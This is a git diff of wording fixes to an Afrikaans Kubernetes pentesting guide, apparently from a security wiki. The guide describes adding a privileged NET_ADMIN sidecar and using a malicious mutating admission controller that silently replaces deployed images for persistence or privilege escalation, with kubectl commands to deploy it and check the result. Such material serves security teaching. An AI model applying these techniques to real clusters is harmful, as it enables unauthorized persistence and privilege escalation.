@@ -512,7 +576,7 @@ Skep jou .yaml
|
||||
```bash
|
||||
kubectl run app --image=bash --command -oyaml --dry-run=client > <appName.yaml> -- sh -c 'ping google.com'
|
||||
```
|
||||
Wysig jou .yaml en voeg die ongecommentaryde lyne by:
|
||||
Wysig jou .yaml en voeg die ontcommentaarde lyne by:
|
||||
```yaml
|
||||
#apiVersion: v1
|
||||
#kind: Pod
|
||||
@@ -544,7 +608,7 @@ add: ["NET_ADMIN"]
|
||||
# securityContext:
|
||||
# allowPrivilegeEscalation: true
|
||||
```
|
||||
Kyk na die logs van die proxy:
|
||||
Sien die logs van die proxy:
|
||||
```bash
|
||||
kubectl logs app -C proxy
|
||||
```
|
||||
@@ -554,7 +618,7 @@ Meer inligting by: [https://kubernetes.io/docs/tasks/configure-pod-container/sec
|
||||
|
||||
'n Toelatingsbeheerder **onderbreek versoeke na die Kubernetes API-bediener** voordat die persistensie van die objek, maar **nadat die versoek geverifieer** **en gemagtig** is.
|
||||
|
||||
As 'n aanvaller op een of ander manier daarin slaag om 'n **Mutasie Toelatingsbeheerder** te **injekseer**, sal hy in staat wees om **reeds geverifieerde versoeke te wysig**. Dit kan potensieel lei tot privesc, en meer gewoonlik volharding in die kluster.
|
||||
As 'n aanvaller op een of ander manier daarin slaag om 'n **Mutationg Toelatingsbeheerder** te **injekteer**, sal hy in staat wees om **reeds geverifieerde versoeke te wysig**. Dit kan potensieel lei tot privesc, en meer gewoonlik om in die kluster te bly.
|
||||
|
||||
**Voorbeeld van** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
|
||||
```bash
|
||||
@@ -575,16 +639,16 @@ Dan ontplooi 'n nuwe pod:
|
||||
kubectl run nginx --image nginx
|
||||
kubectl get po -w
|
||||
```
|
||||
Wanneer jy die `ErrImagePull` fout kan sien, kontroleer die beeldnaam met een van die navrae:
|
||||
Wanneer jy die `ErrImagePull` fout kan sien, kyk na die beeldnaam met een van die navrae:
|
||||
```bash
|
||||
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
|
||||
kubectl describe po nginx | grep "Image: "
|
||||
```
|
||||
|
||||
|
||||
Soos jy in die bogenoemde beeld kan sien, het ons probeer om die beeld `nginx` te laat loop, maar die finale uitgevoerde beeld is `rewanthtammana/malicious-image`. Wat het net gebeur!!?
|
||||
Soos wat jy in die bogenoemde beeld kan sien, het ons probeer om die beeld `nginx` te laat loop, maar die finale uitgevoerde beeld is `rewanthtammana/malicious-image`. Wat het net gebeur!!?
|
||||
|
||||
#### Tegniese Aspekte <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
#### Tegniese Aspek <a href="#heading-technicalities" id="heading-technicalities"></a>
|
||||
|
||||
Die `./deploy.sh` skrip stel 'n muterende webhook toelatingsbeheerder in, wat versoeke na die Kubernetes API wysig soos gespesifiseer in sy konfigurasielyne, wat die waargenome uitkomste beïnvloed:
|
||||
```
|
||||
|
||||
Reference in New Issue
Block a user